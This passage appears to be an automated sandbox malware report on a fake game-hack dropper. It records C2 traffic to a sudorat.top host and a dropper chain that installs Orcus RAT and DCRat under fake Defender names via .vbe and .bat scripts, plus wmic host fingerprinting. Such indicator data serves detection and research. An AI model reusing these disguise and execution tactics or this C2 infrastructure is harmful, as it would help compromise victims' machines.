Jan 13, 2025 13:35:43.247802973 CET	49803	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:35:43.255390882 CET	25350	49803	185.37.62.158	192.168.2.7
Jan 13, 2025 13:35:43.255624056 CET	49803	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:35:43.263974905 CET	49803	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:35:43.268783092 CET	25350	49803	185.37.62.158	192.168.2.7
Jan 13, 2025 13:36:04.638967037 CET	25350	49803	185.37.62.158	192.168.2.7
Jan 13, 2025 13:36:04.639030933 CET	49803	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:36:04.759735107 CET	49873	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:36:04.765275002 CET	25350	49873	185.37.62.158	192.168.2.7
Jan 13, 2025 13:36:04.765377998 CET	49873	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:36:04.834270000 CET	49873	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:36:04.839226961 CET	25350	49873	185.37.62.158	192.168.2.7
Jan 13, 2025 13:36:26.137505054 CET	25350	49873	185.37.62.158	192.168.2.7
Jan 13, 2025 13:36:26.138348103 CET	49873	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:36:26.340481043 CET	49979	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:36:26.345298052 CET	25350	49979	185.37.62.158	192.168.2.7
Jan 13, 2025 13:36:26.345360994 CET	49979	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:36:26.345844984 CET	49979	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:36:26.350559950 CET	25350	49979	185.37.62.158	192.168.2.7
Jan 13, 2025 13:36:47.720897913 CET	25350	49979	185.37.62.158	192.168.2.7
Jan 13, 2025 13:36:47.720968008 CET	49979	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:36:47.837014914 CET	50023	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:36:47.982923985 CET	25350	50023	185.37.62.158	192.168.2.7
Jan 13, 2025 13:36:47.983020067 CET	50023	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:36:47.984250069 CET	50023	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:36:47.989108086 CET	25350	50023	185.37.62.158	192.168.2.7
Jan 13, 2025 13:37:09.338479996 CET	25350	50023	185.37.62.158	192.168.2.7
Jan 13, 2025 13:37:09.338690042 CET	50023	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:37:09.454456091 CET	50034	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:37:09.459547043 CET	25350	50034	185.37.62.158	192.168.2.7
Jan 13, 2025 13:37:09.459645033 CET	50034	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:37:09.460186005 CET	50034	25350	192.168.2.7	185.37.62.158
Jan 13, 2025 13:37:09.465022087 CET	25350	50034	185.37.62.158	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 13:35:21.228759050 CET	53797	53	192.168.2.7	1.1.1.1
Jan 13, 2025 13:35:21.584316969 CET	53	53797	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 13:35:21.228759050 CET	192.168.2.7	1.1.1.1	0x1ea4	Standard query (0)	25350.client.sudorat.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 13:35:21.584316969 CET	1.1.1.1	192.168.2.7	0x1ea4	No error (0)	25350.client.sudorat.top		185.37.62.158	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	07:35:12
Start date:	13/01/2025
Path:	C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\GameHackBuild1.exe.bin.exe"
Imagebase:	0xa00000
File size:	9'469'375 bytes
MD5 hash:	35A0FBEC2FC6D2A550A569719406D58D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_OrcusRat, Description: Yara detected Orcus RAT, Source: 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam Rule: RAT_Orcus, Description: unknown, Source: 00000000.00000003.1270548712.0000000004F89000.00000004.00000020.00020000.00000000.sdmp, Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:35:15
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\VaCm6yonii0zLXLvCqreXRVqw1.vbe"
Imagebase:	0xcd0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:35:15
Start date:	13/01/2025
Path:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe"
Imagebase:	0x240000
File size:	3'115'520 bytes
MD5 hash:	10E817A4D5E216279A8DE8ED71C91044
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_OrcusRat, Description: Yara detected Orcus RAT, Source: 00000007.00000000.1286933996.0000000000242000.00000002.00000001.01000000.00000009.sdmp, Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam Rule: RAT_Orcus, Description: unknown, Source: 00000007.00000000.1286933996.0000000000242000.00000002.00000001.01000000.00000009.sdmp, Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe, Author: Joe Security Rule: JoeSecurity_OrcusRat, Description: Yara detected Orcus RAT, Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe, Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam Rule: RAT_Orcus, Description: unknown, Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe, Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\MpDefenderProtector.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 84%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:35:15
Start date:	13/01/2025
Path:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\GameHack.exe"
Imagebase:	0xed0000
File size:	1'700'533 bytes
MD5 hash:	BC7804FCA6DD09B4F16E86D80B8D28FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:35:15
Start date:	13/01/2025
Path:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\Solara.exe"
Imagebase:	0x400000
File size:	4'796'928 bytes
MD5 hash:	E8C32CC88DB9FEF57FD9E2BB6D20F70B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	07:35:16
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	07:35:16
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\chainReviewdhcp\mJEJ7PbY35CMaAu5227dvHv.vbe"
Imagebase:	0xcd0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	07:35:17
Start date:	13/01/2025
Path:	C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe"
Imagebase:	0xbb0000
File size:	3'115'520 bytes
MD5 hash:	10E817A4D5E216279A8DE8ED71C91044
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_OrcusRat, Description: Yara detected Orcus RAT, Source: 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp, Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam Rule: RAT_Orcus, Description: unknown, Source: 0000000D.00000002.1339479653.0000000004533000.00000004.00000800.00020000.00000000.sdmp, Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe, Author: Joe Security Rule: JoeSecurity_OrcusRat, Description: Yara detected Orcus RAT, Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe, Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam Rule: RAT_Orcus, Description: unknown, Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe, Author: J from THL <j@techhelplist.com> with thx to MalwareHunterTeam Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 84%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:35:18
Start date:	13/01/2025
Path:	C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Windows\Defender\MpDefenderCoreProtion.exe
Imagebase:	0xb20000
File size:	3'115'520 bytes
MD5 hash:	10E817A4D5E216279A8DE8ED71C91044
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:35:18
Start date:	13/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Imagebase:	0xbc0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	07:35:21
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\DaJttDh54LCmoatNZvevDoWyEmexKWgun1WAXP2cdZM0egnWJQQpZtVxW.bat" "
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	07:35:21
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	07:35:21
Start date:	13/01/2025
Path:	C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor\runtimesvc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\WinRuntimePerfMonitor/runtimesvc.exe"
Imagebase:	0xf10000
File size:	569'844 bytes
MD5 hash:	00C4245522082B7F87721F9A26E96BA4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000017.00000002.1998107194.000000001BA70000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000017.00000002.1959832866.000000001322D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	07:35:23
Start date:	13/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\chainReviewdhcp\LJrjU6BhAd6hMsY1uw5hl2I0p3Jh.bat" "
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	07:35:23
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	07:35:23
Start date:	13/01/2025
Path:	C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\chainReviewdhcp\containerRuntime.exe"
Imagebase:	0x1d0000
File size:	1'383'424 bytes
MD5 hash:	52C95032FF8B8C3D4DFD98E51D8F6F58
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001A.00000002.1720636580.00000000025B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001A.00000002.1720636580.00000000029E3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001A.00000002.1846009611.00000000125BF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 78%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	07:35:23
Start date:	13/01/2025
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic diskdrive get model,serialnumber
Imagebase:	0x7ff641cc0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	07:35:29
Start date:	13/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tv1xqdyv\tv1xqdyv.cmdline"
Imagebase:	0x7ff6160a0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	07:35:29
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	07:35:30
Start date:	13/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES5B8E.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC8F87101CD76241BAB3866A995ECAD4A7.TMP"
Imagebase:	0x7ff668d90000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.3%
Total number of Nodes:	1481
Total number of Limit Nodes:	25

Executed Functions

Function 00A1D5D4 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 197
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A100CF: GetModuleHandleW.KERNEL32(kernel32), ref: 00A100E4
Part of subcall function 00A100CF: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00A100F6
Part of subcall function 00A100CF: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00A10127

Part of subcall function 00A19DA4: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00A19DAC

Part of subcall function 00A1A335: OleInitialize.OLE32(00000000), ref: 00A1A34E
Part of subcall function 00A1A335: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00A1A385
Part of subcall function 00A1A335: SHGetMalloc.SHELL32(00A48430), ref: 00A1A38F

Part of subcall function 00A113B3: GetCPInfo.KERNEL32(00000000,?), ref: 00A113C4
Part of subcall function 00A113B3: IsDBCSLeadByte.KERNEL32(00000000), ref: 00A113D8

GetCommandLineW.KERNEL32 ref: 00A1D61C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00A1D643
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00A1D654
UnmapViewOfFile.KERNEL32(00000000), ref: 00A1D68E

Part of subcall function 00A1D287: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 00A1D29D
Part of subcall function 00A1D287: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00A1D2D9

CloseHandle.KERNEL32(00000000), ref: 00A1D697
GetModuleFileNameW.KERNEL32(00000000,00A5DC90,00000800), ref: 00A1D6B2
SetEnvironmentVariableW.KERNEL32(sfxname,00A5DC90), ref: 00A1D6BE
GetLocalTime.KERNEL32(?), ref: 00A1D6C9
_swprintf.LIBCMT ref: 00A1D708
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00A1D71A
GetModuleHandleW.KERNEL32(00000000), ref: 00A1D721
LoadIconW.USER32(00000000,00000064), ref: 00A1D738
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001AEE0,00000000), ref: 00A1D789
Sleep.KERNEL32(?), ref: 00A1D7B7
DeleteObject.GDI32 ref: 00A1D7F0
DeleteObject.GDI32(?), ref: 00A1D800
CloseHandle.KERNEL32 ref: 00A1D843

Strings

C:\Users\user\Desktop, xrefs: 00A1D5E9
winrarsfxmappingfile.tmp, xrefs: 00A1D637
sfxstime, xrefs: 00A1D715
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00A1D6F9
sfxname, xrefs: 00A1D6B9
STARTDLG, xrefs: 00A1D77E

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 788466649-433059772
Opcode ID: 4bd848df95d71dd0945334ce7d926340775a2ec6669b0d0e9f4b93c0432d0867
Instruction ID: 4ba263efe6f8db33d8edb012ac854e794731c7d55ddc6f95e8a50e354172b0c4
Opcode Fuzzy Hash: 4bd848df95d71dd0945334ce7d926340775a2ec6669b0d0e9f4b93c0432d0867
Instruction Fuzzy Hash: 8B61F179904340AFD720EFE4ED49FAB37A8BB85741F000429F94592191DBB9CD86C7A2

Function 00A19E1C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(00A1AE4D,PNG,?,?,?,00A1AE4D,00000066), ref: 00A19E2E
SizeofResource.KERNEL32(00000000,00000000,?,?,?,00A1AE4D,00000066), ref: 00A19E46
LoadResource.KERNEL32(00000000,?,?,?,00A1AE4D,00000066), ref: 00A19E59
LockResource.KERNEL32(00000000,?,?,?,00A1AE4D,00000066), ref: 00A19E64
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00A1AE4D,00000066), ref: 00A19E82
GlobalLock.KERNEL32(00000000), ref: 00A19E93
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00A19EB7
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00A19EFC
GlobalUnlock.KERNEL32(00000000), ref: 00A19F1B
GlobalFree.KERNEL32(00000000), ref: 00A19F22

Strings

PNG, xrefs: 00A19E1F

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Global$Resource$CreateLock$AllocBitmapFindFreeFromGdipLoadSizeofStreamUnlock
String ID: PNG
API String ID: 3656887471-364855578
Opcode ID: 7498fb9e7530962b23755534e66d1bb8d839221fd8ac3d38f68144dfe3b5e878
Instruction ID: 108ce351b88eda6ed1c6d2b20040110694d86d8b8e25edcfc8ea2e02b70e4872
Opcode Fuzzy Hash: 7498fb9e7530962b23755534e66d1bb8d839221fd8ac3d38f68144dfe3b5e878
Instruction Fuzzy Hash: 8D319576208302AFCB10DFA1EC59D9BBBADFF85751B044518F946D2260DB71DC42DBA1

Function 00A0A5F4 Relevance: 7.6, APIs: 5, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00A0A4EF,000000FF,?,?), ref: 00A0A628
FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00A0A4EF,000000FF,?,?), ref: 00A0A65E
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00A0A4EF,000000FF,?,?), ref: 00A0A66A
FindNextFileW.KERNEL32(?,?,?,?,?,?,00A0A4EF,000000FF,?,?), ref: 00A0A692
GetLastError.KERNEL32(?,?,?,?,00A0A4EF,000000FF,?,?), ref: 00A0A69E

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: eba045a3ee5fecc0f92435ee094ced7b30ec0b288a6128511804f58130c40215
Instruction ID: c152b7d9290f48e014214811440ae5bd3f178188888c7ea6d53b6f15437bd96a
Opcode Fuzzy Hash: eba045a3ee5fecc0f92435ee094ced7b30ec0b288a6128511804f58130c40215
Instruction Fuzzy Hash: 7C41C372508345AFC724EF68D984ADAF7F8FF59340F040A2AF5D9D3280D735A9948B92

Function 00A2753D Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00A27513,?,00A3BAD8,0000000C,00A2766A,?,00000002,00000000), ref: 00A2755E
TerminateProcess.KERNEL32(00000000,?,00A27513,?,00A3BAD8,0000000C,00A2766A,?,00000002,00000000), ref: 00A27565
ExitProcess.KERNEL32 ref: 00A27577

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: f2f99659585d302e34f3abd2acf004bc37ca87a85f236c7b335916bcf95a1180
Instruction ID: b004df791d91f889b4b5331c5a5ef15812165ae267a6244b7ce4c69e34bca894
Opcode Fuzzy Hash: f2f99659585d302e34f3abd2acf004bc37ca87a85f236c7b335916bcf95a1180
Instruction Fuzzy Hash: 78E0B632008958ABCF11EFA8EE09A49BB69EB51741F108424F9068A232CB35DF83CA50

Function 00A0857B Relevance: 3.9, APIs: 2, Instructions: 947COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A08580
_memcmp.LIBVCRUNTIME ref: 00A08A08

Memory Dump Source

